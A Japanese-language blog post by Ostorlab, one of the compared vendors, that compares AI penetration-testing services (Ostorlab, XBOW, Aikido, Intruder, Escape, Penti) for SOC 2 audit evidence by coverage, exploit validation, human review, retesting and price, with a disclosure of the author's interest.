id="エグゼクティブサマリー"&gt;エグゼクティブサマリー&lt;/h2&gt;
&lt;p&gt;本ガイドでは、SOC 2監査を支援するアプリケーションのペンテストについて、&lt;strong&gt;Ostorlab、XBOW、Aikido、Intruder、Escape&lt;/strong&gt;、&lt;strong&gt;Penti&lt;/strong&gt; を比較します。テストのカバレッジ、エクスプロイトの検証、人間によるレビュー、サンプルレポート、再テスト、価格を検討します。各サービスは、アクセスの要件や、個別のアセスメントから継続的なサブスクリプションまで、購入に含まれる内容が異なります。選定の前に、スコープとサンプルレポートを監査人と確認し、テスト、レポート作成、修正の検証にかかる総費用を確認してください。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AIペンテスト&lt;/strong&gt;とは、ソフトウェアエージェントが脆弱性を発見し、エクスプロイトを試み、レポートを作成するセキュリティアセスメントです。 &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AIペンテストのプロバイダー&lt;/strong&gt; は、同じ名前でいくつかの異なるサービスを販売しています。AIエージェントがアセスメントを実行してレポートを作成するものもあれば、人間によるレビューを含むものもあり、ペンテスター自身がAIの支援を受けながらアセスメントを実施するものもあります。価格を比較する前に、誰が自社のアプリケーションをテストし、誰が検出結果を確認し、プロバイダーが何を納品するのかを明確にしましょう。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;SOC 2&lt;/strong&gt; の場合、その選択は監査で必要となるテストのエビデンスに沿って行うべきです。&lt;a href="https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022"&gt;AICPAのトラストサービス規準のガイダンス&lt;/a&gt;は、セキュリティ制御を評価する方法の一つとしてペネトレーションテストを挙げていますが、すべての組織に適した単一のテストパッケージを定めているわけではありません。&lt;/p&gt;
&lt;p&gt;本ガイドでは、Webアプリケーション、API、モバイルアプリを対象とするAIペンテストのプロバイダーを、SOC 2のために提供できるエビデンスに焦点を当てて比較します。テストとレビューがどのように行われるか、修正が再テストされるか、各プロバイダーが価格をどれだけ明確に説明しているかを見ていきます。サンプルレポートが公開されている場合は、SOC 2監査の要件と比較できるようにリンクを掲載しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;開示事項&lt;/strong&gt;：この比較は、取り上げているプロバイダーの一社でもあるOstorlabが作成しました。価格と機能に関する記述は2026年9月時点（Ostorlabについては2026年10月6日に更新）で正確なものであり、各プロバイダーの公開価格ページ、ドキュメント、サンプルレポートに基づいています。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="soc 2向けaiペンテストプロバイダーの選び方"&gt;&lt;strong&gt;SOC 2向けAIペンテストプロバイダーの選び方&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;決め手となるのは、プロバイダーの看板ではなく、レポートが何を実証するかです。スコープのカバレッジ、エクスプロイトのエビデンス、人間によるレビュー、記録された再テストがその要素です。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;レポートの適合性&lt;/strong&gt;：サンプルレポートには、何を、いつテストし、何が見つかったかが示されているか。提案されたスコープとあわせて監査人とレビューする  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エクスプロイトの検証&lt;/strong&gt;：プロバイダーは報告された問題が悪用可能であることのエビデンスを示すのか、それとも自社のチームがスキャナーのアラートを検証する必要があるのか  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;レポートまでの期間&lt;/strong&gt;：レポートを受け取るまでにどれくらいかかるか。監査の期限までに検出結果を修正して再テストする時間を確保する  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テストの深さ&lt;/strong&gt;：アセスメントはログイン後の領域、さまざまなユーザーロール、重要なワークフローをカバーするか。これらが見積もりのスコープに含まれていることを確認する  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再テスト&lt;/strong&gt;：プロバイダーは修正を検証し、その結果をレポートに記録するか  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;価格と透明性&lt;/strong&gt;：価格は公開されているか。見積もりが必要な場合は、レポートと再テストが含まれているかを確認する&lt;/li&gt;
&lt;/ul&gt;
&lt;div id="providers"&gt;&lt;/div&gt;
&lt;h2 id="soc 2向けaiペンテストプロバイダーの比較一覧"&gt;SOC 2向けAIペンテストプロバイダーの比較一覧&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;プロバイダー&lt;/th&gt;
&lt;th&gt;テスト対象のアプリケーション&lt;/th&gt;
&lt;th&gt;エクスプロイトの検証&lt;/th&gt;
&lt;th&gt;人間によるレビュー&lt;/th&gt;
&lt;th&gt;サンプルレポート&lt;/th&gt;
&lt;th&gt;納品までの期間&lt;/th&gt;
&lt;th&gt;再テスト&lt;/th&gt;
&lt;th&gt;価格&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web、API、Android、iOS&lt;/td&gt;
&lt;td&gt;AIが実際に動作するエクスプロイトで検証&lt;/td&gt;
&lt;td&gt;含まれない&lt;/td&gt;
&lt;td&gt;&lt;a href="https://ostorlab.co/resources/Sample_report.pdf"&gt;Webスキャンのサンプル&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;対象に応じて数時間から数日&lt;/td&gt;
&lt;td&gt;テスト終了から30日間の再テスト期間&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.ostorlab.co/plans/"&gt;&lt;strong&gt;$499/アセスメント&lt;/strong&gt;&lt;/a&gt;から&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;XBOW&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Webアプリとそれに接続されたAPI&lt;/td&gt;
&lt;td&gt;AIが検証。未確認の検出結果は別途記載&lt;/td&gt;
&lt;td&gt;明記なし&lt;/td&gt;
&lt;td&gt;公開サンプルは見つからず。&lt;a href="https://docs.xbow.com/console/how-to/explore-and-fix-results/"&gt;レポートのドキュメント&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;アセスメント終了時にレポートを生成&lt;/td&gt;
&lt;td&gt;提供あり。Lightspeedでは30日間の期間&lt;/td&gt;
&lt;td&gt;スコープと利用量に基づく&lt;a href="https://xbow.com/pricing"&gt;&lt;strong&gt;個別見積もり&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Aikido&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Web、API。Androidは別サービス&lt;/td&gt;
&lt;td&gt;追加のAIエージェントが検出結果を検証&lt;/td&gt;
&lt;td&gt;明記なし&lt;/td&gt;
&lt;td&gt;&lt;a href="https://26076760.fs1.hubspotusercontent-eu1.net/hubfs/26076760/Content%20Marketing/Penetration%20Test%20Report%20-%20Sample%20Android%20Pentest%20Report.pdf"&gt;Androidのサンプル&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;数時間以内に結果、検証後にレポート&lt;/td&gt;
&lt;td&gt;StandardとRightsizedのアセスメントに含まれる&lt;/td&gt;
&lt;td&gt;&lt;a href="https://help.aikido.dev/pentests/pentest-pricing.md"&gt;&lt;strong&gt;$4,000/Standardアセスメント&lt;/strong&gt;&lt;/a&gt;。Androidはスコープに応じた価格&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Intruder&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Webアプリとそれに付随するAPI。ソースコードが必須&lt;/td&gt;
&lt;td&gt;AIがPoCコードで検証&lt;/td&gt;
&lt;td&gt;明記なし&lt;/td&gt;
&lt;td&gt;&lt;a href="https://20176333.fs1.hubspotusercontent-na1.net/hubfs/20176333/Intruder%20Pentest%20Report%20-%20Sample.pdf"&gt;Webアプリのサンプル&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;当日中にレポート&lt;/td&gt;
&lt;td&gt;無制限&lt;/td&gt;
&lt;td&gt;&lt;a href="https://www.intruder.io/pentest-pricing"&gt;&lt;strong&gt;$3,500/テスト&lt;/strong&gt; または &lt;strong&gt;4回で$12,000&lt;/strong&gt;&lt;/a&gt;、1年以内に利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Escape&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WebとAPI&lt;/td&gt;
&lt;td&gt;AIが攻撃シーケンスを検証&lt;/td&gt;
&lt;td&gt;公開されたワークフローにはなし&lt;/td&gt;
&lt;td&gt;公開サンプルは見つからず。&lt;a href="https://escape.tech/blog/get-soc-2-pentest-evidence-in-hours/"&gt;レポートに関する事例&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;Ampの事例では数時間。固定のSLAはなし&lt;/td&gt;
&lt;td&gt;提供あり。回数は明記なし&lt;/td&gt;
&lt;td&gt;&lt;a href="https://aws.amazon.com/marketplace/pp/prodview-b5zhismdnjnpw"&gt;&lt;strong&gt;AWS Marketplace&lt;/strong&gt;&lt;/a&gt;経由で &lt;strong&gt;$3,000/ペンテストユニット&lt;/strong&gt;、12か月以内に利用可能&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Penti&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;WebとAPI&lt;/td&gt;
&lt;td&gt;AIが検証。人間による確認はプランにより異なる&lt;/td&gt;
&lt;td&gt;Launch：有料アドオン、Plus：年3件の検出結果、Advanced：6件&lt;/td&gt;
&lt;td&gt;公開サンプルは見つからず。&lt;a href="https://penti.ai/features/pentest-report-generator"&gt;レポートジェネレーター&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;完了までの期間は公開されていない&lt;/td&gt;
&lt;td&gt;無制限&lt;/td&gt;
&lt;td&gt;年間請求と監査レポートを含むLaunchで&lt;a href="https://penti.ai/pricing"&gt;&lt;strong&gt;$3,240/年&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;価格に関する注意&lt;/strong&gt;：これらの価格は直接比較できません。個別のアセスメント、テストのバンドル、利用量に基づく見積もり、年間サブスクリプションでは、カバーするスコープと利用枠が異なります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;「明記なし」&lt;/strong&gt; とは、調査したドキュメントで人間によるレビューが含まれていることを確認できなかったことを意味します。&lt;/p&gt;
&lt;h2 id="各プロバイダーがsoc 2のために提供するもの:エクスプロイトのエビデンス、人間によるレビュー、再テスト"&gt;&lt;strong&gt;各プロバイダーがSOC 2のために提供するもの：エクスプロイトのエビデンス、人間によるレビュー、再テスト&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="ostorlab"&gt;&lt;strong&gt;Ostorlab&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：アプリケーション間でコンテキストを共有するWeb、API、モバイルのペンテスト、AIによるエクスプロイトの検証、再テスト。&lt;/p&gt;
&lt;p&gt;Ostorlabは、Webアプリケーション、API、AndroidおよびiOSアプリをテストします。&lt;a href="https://docs.ostorlab.co/tutorials/multi_asset_scan_profile.html"&gt;&lt;strong&gt;Multi Asset Scan&lt;/strong&gt;&lt;/a&gt;は、接続されたアプリケーションをまとめてテストし、アセスメント全体でコンテキストを共有します。あるアプリケーションで発見したことが別のアプリケーションのテストを導き、個別のスキャンでは見逃される可能性のある脆弱性の発見に役立ちます。 &lt;/p&gt;
&lt;p&gt;たとえば、モバイルアプリで露出した認証情報によって、そのバックエンドAPIへの不正アクセスが可能になることがあります。レポートはこれらの検出結果をまとめ、それらの間のつながりを保持します。&lt;/p&gt;
&lt;h4 id="テストとエクスプロイトの検証"&gt;テストとエクスプロイトの検証&lt;/h4&gt;
&lt;p&gt;OstorlabのAIがエクスプロイトの検証を行います。潜在的な脆弱性を検出すると、エージェントはエクスプロイトを試みてエビデンスを取得し、確定した検出結果にはそれぞれ実際に動作するエクスプロイトが付属します。各検出結果を検証するのは人間のレビュー担当者ではなくAIエージェントであり、検出結果のうち誤検知（フォールスポジティブ）は5%未満です。 &lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="詳細なエビデンス、実行トレース、検証済みの脆弱性の検出結果を示す、Ostorlab Agentic Deep Scanのエクスプロイト検証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_09_24_Ai-pentest-providers-for-SOC2/agentic-deep-scan-exploit-validation-finding.png" title="Ostorlab Agentic Deep Scanのエクスプロイト検証画面"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Agentic Deep Scanのエクスプロイト検証画面&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h4 id="レポートと再テスト"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/resources/Sample_report.pdf"&gt;公開サンプルレポート&lt;/a&gt;には、テストのスコープ、詳細な検出結果、エクスプロイトのエビデンス、修復ガイダンスが含まれています。&lt;/p&gt;
&lt;p&gt;このサンプルはWebスキャンのレポートです。Ostorlabの&lt;a href="https://blog.ostorlab.co/fastest-way-audit-ready-pentest-report-soc-2-compliance.html"&gt;SOC 2レポートに関するウォークスルー&lt;/a&gt;では、アセスメントサービスに含まれる署名付きの証明書について別途説明しています。&lt;/p&gt;
&lt;p&gt;修復後、&lt;a href="https://blog.ostorlab.co/introducing-risk-reruns.html"&gt;&lt;strong&gt;Risk Reruns&lt;/strong&gt;&lt;/a&gt;が該当するテストを再実行し、脆弱性がまだ悪用可能かどうかを確認します。このワークフローは検証結果を記録し、検出結果のステータスを更新します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="修復された検出結果をワンクリックで対象を絞って再テストできる、OstorlabのRisk Reruns画面" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_09_24_Ai-pentest-providers-for-SOC2/risk_reruns.webp" title="OstorlabのRisk Reruns再テスト画面"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;OstorlabのRisk Reruns再テスト画面&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h4 id="価格と納品"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/plans/"&gt;コアアセスメントは &lt;strong&gt;$499&lt;/strong&gt; から&lt;/a&gt;で、価格はスコープに基づきます。テストには対象に応じて数時間から数日かかります。各アセスメントには、監査、コンプライアンス、経営層向けのレポートと、スコープとテスト日を確認するOstorlabのコンプライアンス責任者が署名した証明書が含まれます。テスト終了時に30日間の再テスト期間が始まり、個々の検出結果が修正されるまで必要なだけ再テストできます。&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2026年10月6日更新：OstorlabのAI Pentestには人間による検証はなく、所要時間は数時間から数日で、30日間の再テスト期間と署名付きの証明書が含まれます。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="xbow"&gt;&lt;strong&gt;XBOW&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：Webアプリケーションとそれに接続されたAPIを対象とした、エクスプロイトの検証と再テストを伴う自律型ペンテスト。&lt;/p&gt;
&lt;p&gt;XBOWは、Webアプリケーションとそれに付随するAPIに対して自律型ペンテストを実行します。&lt;a href="https://docs.xbow.com/console/guidance/choosing-assets/"&gt;インタラクティブなWebインターフェース&lt;/a&gt;が必要なため、単独のAPIは現在サポートされていません。&lt;/p&gt;
&lt;h4 id="テストと検証"&gt;テストと検証&lt;/h4&gt;
&lt;p&gt;AIエージェントが攻撃を試み、悪用を通じて検出結果を検証します。確定した脆弱性には、エクスプロイトのエビデンス、再現手順、テストログが含まれます。悪用できなかった問題は、情報提供レベルの検出結果として別途記載されます。&lt;/p&gt;
&lt;h4 id="レポートと再テスト_1"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;利用可能な&lt;a href="https://docs.xbow.com/console/how-to/explore-and-fix-results/"&gt;レポート&lt;/a&gt;には、完全なペンテストレポート、エグゼクティブサマリー、証明書が含まれます。&lt;/p&gt;
&lt;p&gt;再テストでは元のエクスプロイトと別のアプローチを試し、検証済みの修正でレポートを更新します。XBOWのLightspeedプランでは、30日間の期間内で再テストを利用できます。 &lt;/p&gt;
&lt;h4 id="価格と納品_1"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://xbow.com/pricing"&gt;価格は利用量に基づき&lt;/a&gt;、見積もりが必要です。検出結果はテスト中に表示され、レポートはアセスメントの終了時に生成されます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="aikido"&gt;&lt;strong&gt;Aikido&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：ソースコードの有無にかかわらず実行できる自律型のWebおよびAPIのペンテストと、アプリとそのバックエンドをカバーする別個のAndroidアセスメント。&lt;/p&gt;
&lt;p&gt;Aikidoは、WebアプリケーションとAPIをテストし、アプリとそのバックエンドをカバーする別個のAndroidアセスメントも提供しています。Webのテストはソースコードの有無にかかわらず実行できます。Androidのテストには、APK、ソースコード、テストアカウントが必要です。&lt;/p&gt;
&lt;h4 id="テストと検証_1"&gt;テストと検証&lt;/h4&gt;
&lt;p&gt;AIエージェントが脆弱性を発見して悪用し、その後、追加のエージェントが結果を検証します。検出結果には、リクエストとレスポンスのエビデンスと修復ガイダンスが含まれます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.aikido.dev/attack/android-pentesting"&gt;Androidのテスト&lt;/a&gt;には、証明書ピンニング、root検知、エミュレーター検知、実行時の保護を無効にしたビルドが必要です。&lt;/p&gt;
&lt;h4 id="レポートと再テスト_2"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;Aikidoは、&lt;a href="https://help.aikido.dev/pentests/coverage-and-findings/pentest-reports"&gt;詳細版と簡易版のレポート&lt;/a&gt;、修復後のレポート、証明書を提供しています。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://26076760.fs1.hubspotusercontent-eu1.net/hubfs/26076760/Content%20Marketing/Penetration%20Test%20Report%20-%20Sample%20Android%20Pentest%20Report.pdf"&gt;Androidのサンプルレポート&lt;/a&gt;には、テストのスコープ、検出結果のステータス、再現手順、修復ガイダンスが含まれています。&lt;/p&gt;
&lt;p&gt;再テストはStandardとRightsizedのアセスメントに含まれています。Androidの修正には、再ビルドしたAPKのアップロードが必要です。&lt;/p&gt;
&lt;h4 id="価格と納品_2"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://help.aikido.dev/pentests/pentest-pricing"&gt;Standard Pentestは &lt;strong&gt;$4,000&lt;/strong&gt;&lt;/a&gt;で、1つのアプリケーションとその主要なAPIを対象とし、レポート作成と再テストを含みます。その他のアセスメントはスコープに応じた価格です。Aikidoは&lt;a href="https://help.aikido.dev/pentests"&gt;数時間以内の結果提供をうたって&lt;/a&gt;おり、レポートは検証後に生成されます。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="intruder"&gt;&lt;strong&gt;Intruder&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：再現可能なエクスプロイトのエビデンス、当日中のレポート、無制限の再テストを備えた、ソースコードを活用するWebおよびAPIのペンテスト。&lt;/p&gt;
&lt;p&gt;Intruderは、ソースコードと稼働中のアプリケーションへのアクセスを用いて、Webアプリケーションとそれに付随するAPIをテストします。セットアップには、接続されたリポジトリ、アプリケーションのコンテキスト、テスト用の認証情報が必要です。&lt;/p&gt;
&lt;h4 id="テストと検証_2"&gt;テストと検証&lt;/h4&gt;
&lt;p&gt;AIエージェントがコードを調査し、潜在的な脆弱性をアプリケーションに対してテストします。検出結果には、エクスプロイトを再現するための概念実証（PoC）コードが含まれます。アセスメントは自律的に実行されます。&lt;/p&gt;
&lt;h4 id="レポートと再テスト_3"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://20176333.fs1.hubspotusercontent-na1.net/hubfs/20176333/Intruder%20Pentest%20Report%20-%20Sample.pdf"&gt;公開サンプルレポート&lt;/a&gt;には、スコープ、ユーザーロール、除外対象、そしてエクスプロイトのエビデンス、影響を受けるコード、修復のアドバイスを含む詳細な検出結果が記載されています。&lt;/p&gt;
&lt;p&gt;無制限の再テストが含まれています。サンプルには完了した再テストは示されていません。&lt;/p&gt;
&lt;h4 id="価格と納品_3"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://www.intruder.io/pentest-pricing"&gt;価格は &lt;strong&gt;1テストあたり$3,500&lt;/strong&gt; または &lt;strong&gt;4テストで$12,000&lt;/strong&gt;&lt;/a&gt;で、1年以内に利用できます。Intruderは&lt;a href="https://www.intruder.io/pentest-pricing"&gt;当日中のレポートと、監査人がレポートを却下した場合の全額返金をうたって&lt;/a&gt;います。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="escape"&gt;&lt;strong&gt;Escape&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：ユーザー権限をテストし、複数の攻撃ステップを組み合わせる自律型のWebおよびAPIのペンテストと、監査人向けおよび開発者向けのレポート。&lt;/p&gt;
&lt;p&gt;Escapeは、WebアプリケーションとAPIに対して、異なるユーザーアカウントと権限にまたがるチェックを含む自律型ペンテストを実行します。&lt;/p&gt;
&lt;h4 id="テストと検証_3"&gt;テストと検証&lt;/h4&gt;
&lt;p&gt;AIエージェントがアプリケーションのワークフローをテストし、複数のステップを組み合わせて攻撃を行います。検出結果には、リクエストのシーケンス、エクスプロイトのエビデンス、修復ガイダンスが含まれます。Escapeの&lt;a href="https://escape.tech/product/ai-pentesting"&gt;公開されたワークフロー&lt;/a&gt;では、人間によるレビューはうたわれていません。&lt;/p&gt;
&lt;h4 id="レポートと再テスト_4"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;完全な公開サンプルレポートは見つかりませんでした。Escapeの&lt;a href="https://escape.tech/blog/get-soc-2-pentest-evidence-in-hours/"&gt;Ampの事例&lt;/a&gt;では、監査人向けと開発者向けの別々のレポートが説明されており、検出結果は再テスト後に更新されます。&lt;/p&gt;
&lt;p&gt;Escapeは、DAST製品を通じて検出結果を定期的なチェックに変えることもできます。これが含まれるかどうかはパッケージによります。&lt;/p&gt;
&lt;h4 id="価格と納品_4"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;Escapeは&lt;a href="https://aws.amazon.com/marketplace/pp/prodview-b5zhismdnjnpw"&gt;AWS Marketplace&lt;/a&gt;を通じて &lt;strong&gt;オンデマンドのペンテスト1ユニットあたり$3,000&lt;/strong&gt; で販売しており、12か月以内に利用できます。アセットの上限と再テストの回数は明記されていません。&lt;/p&gt;
&lt;p&gt;Ampのテストは数時間で完了しました。Escapeはこの事例で固定の納品期間を示していません。&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h3 id="penti"&gt;&lt;strong&gt;Penti&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重点&lt;/strong&gt;：アセスメントのクレジット、無制限の再テスト、プランによって異なる人間による確認を備えた、サブスクリプション型のWebおよびAPIのペンテスト。&lt;/p&gt;
&lt;p&gt;Pentiは、クレジットベースのサブスクリプションを通じて、WebアプリケーションとAPI向けのAIペンテストを提供しています。人間による確認はプランによって異なり、完全な手動ペンテストは別途販売されています。&lt;/p&gt;
&lt;h4 id="テストと検証_4"&gt;テストと検証&lt;/h4&gt;
&lt;p&gt;AIエージェントが攻撃を実行し、検出結果を検証します。&lt;a href="https://penti.ai/pricing"&gt;Plusには年3件の人間による確認済みの検出結果が含まれ、Advancedには6件が含まれます&lt;/a&gt;。Launchでは、人間による確認は追加料金となります。&lt;/p&gt;
&lt;h4 id="レポートと再テスト_5"&gt;レポートと再テスト&lt;/h4&gt;
&lt;p&gt;完全な公開サンプルレポートは見つかりませんでした。Pentiの&lt;a href="https://penti.ai/features/pentest-report-generator"&gt;レポートジェネレーター&lt;/a&gt;では、AIの検出結果、スキャナーの結果、人間によるレビューを組み合わせたレポートが説明されており、修復ガイダンスと再テストのスケジュールも含まれます。&lt;/p&gt;
&lt;p&gt;無制限の再テストはすべてのプランに含まれています。レポートジェネレーターで説明されている人間によるレビューの範囲は、自社のサブスクリプションに含まれる範囲を超えている可能性があります。&lt;/p&gt;
&lt;h4 id="価格と納品_5"&gt;価格と納品&lt;/h4&gt;
&lt;p&gt;&lt;a href="https://penti.ai/pricing"&gt;Launchは &lt;strong&gt;年間$3,240&lt;/strong&gt;&lt;/a&gt;で、監査レポートは年間サブスクリプションで利用できます。毎月300クレジットが含まれ、新しいアセスメントごとにクレジットを消費します。&lt;/p&gt;
&lt;p&gt;レポートはテストの終了時に利用可能になります。完了までの固定期間は公開されていません。&lt;/p&gt;
&lt;h2 id="どのaiペンテストプロバイダーを選ぶべきか"&gt;どのAIペンテストプロバイダーを選ぶべきか&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Ostorlabを選ぶ&lt;/strong&gt;：スコープに、連携して動作するモバイルアプリ、Webアプリ、APIが含まれる場合。それらのつながりをテストし、エクスプロイトを検証し、修正後に検出結果を再テストできます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;XBOWを選ぶ&lt;/strong&gt;：インタラクティブなWebアプリがあり、自律型のアセスメントを望む場合。エクスプロイトのエビデンス、完全なレポート、証明書を提供し、修正が検証されるとレポートを更新します。Webインターフェースを持たないAPIには現在対応していません。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Aikidoを選ぶ&lt;/strong&gt;：1つのWebアプリとその主要なAPIを対象とした、範囲の定まったアセスメントを望む場合。Standard Pentestにはレポートと再テストが含まれ、そのスコープに対して固定価格です。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Intruderを選ぶ&lt;/strong&gt;：ソースリポジトリを接続でき、Webアプリのレポートを迅速に必要とする場合。当日中のレポートをうたっており、無制限の再テストが含まれます。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Escapeを選ぶ&lt;/strong&gt;：ユーザーロールをまたいだ権限のテストと複数ステップのワークフローが優先事項である場合。実証された検出結果から定期的な回帰チェックへとつなげる手段も提供しています。どの継続的なテストがパッケージに含まれるかを確認してください。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pentiを選ぶ&lt;/strong&gt;：個別のアセスメントを購入するのではなく、年間のクレジットベースのプランを通じて定期的なAIテストを望む場合。Launchには監査レポートが含まれますが、このプランでは人間による確認はアドオンです。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="ostorlabでsoc 2向けのペンテストを"&gt;&lt;strong&gt;OstorlabでSOC 2向けのペンテストを&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Webアプリケーション、API、モバイルアプリを、AIによるエクスプロイトの検証と30日間の再テスト期間付きでテストできます。アセスメントは &lt;strong&gt;$499&lt;/strong&gt; からで、対象に応じて数時間から数日で完了します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/plans/"&gt;アセスメントプランを見る&lt;/a&gt;、または&lt;a href="https://ostorlab.co/resources/Sample_report.pdf"&gt;サンプルレポートを見る&lt;/a&gt;。&lt;/p&gt;
&lt;div id="faq"&gt;&lt;/div&gt;
&lt;h2 id="よくある質問"&gt;&lt;strong&gt;よくある質問&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="aiペンテストのレポートはsoc 2に使用できるか"&gt;AIペンテストのレポートはSOC 2に使用できるか&lt;/h3&gt;
&lt;p&gt;はい、AIペンテストはSOC 2監査の裏付けとなるエビデンスを提供できます。受け入れられるかどうかは、アセスメントとそれが生み出すエビデンスによって決まります。予約する前に、提案されたスコープ、テスト手法、サンプルレポートを監査人と共有してください。当社の&lt;a href="https://blog.ostorlab.co/can-soc2-accept-ai-conducted-penetration-test-report.html"&gt;SOC 2向けAIペンテストに関するガイド&lt;/a&gt;で、話し合うべき点を説明しています。&lt;/p&gt;
&lt;h3 id="soc 2は年1回のペネトレーションテストを要求しているか"&gt;SOC 2は年1回のペネトレーションテストを要求しているか&lt;/h3&gt;
&lt;p&gt;SOC 2は、すべての組織に対して年1回のテスト要件を一律に定めているわけではありません。&lt;a href="https://www.aicpa-cima.com/resources/download/2017-trust-services-criteria-with-revised-points-of-focus-2022"&gt;AICPAはペネトレーションテストを&lt;/a&gt;CC4.1（独立的評価に関する着眼点）の評価方法の一つに含めています。テストの頻度は、自社のリスク、セキュリティに関するコミットメント、監査対象の制御を反映したものにすべきです。&lt;/p&gt;
&lt;h3 id="ペンテストレポートはsoc 2レポートの代わりになるか"&gt;ペンテストレポートはSOC 2レポートの代わりになるか&lt;/h3&gt;
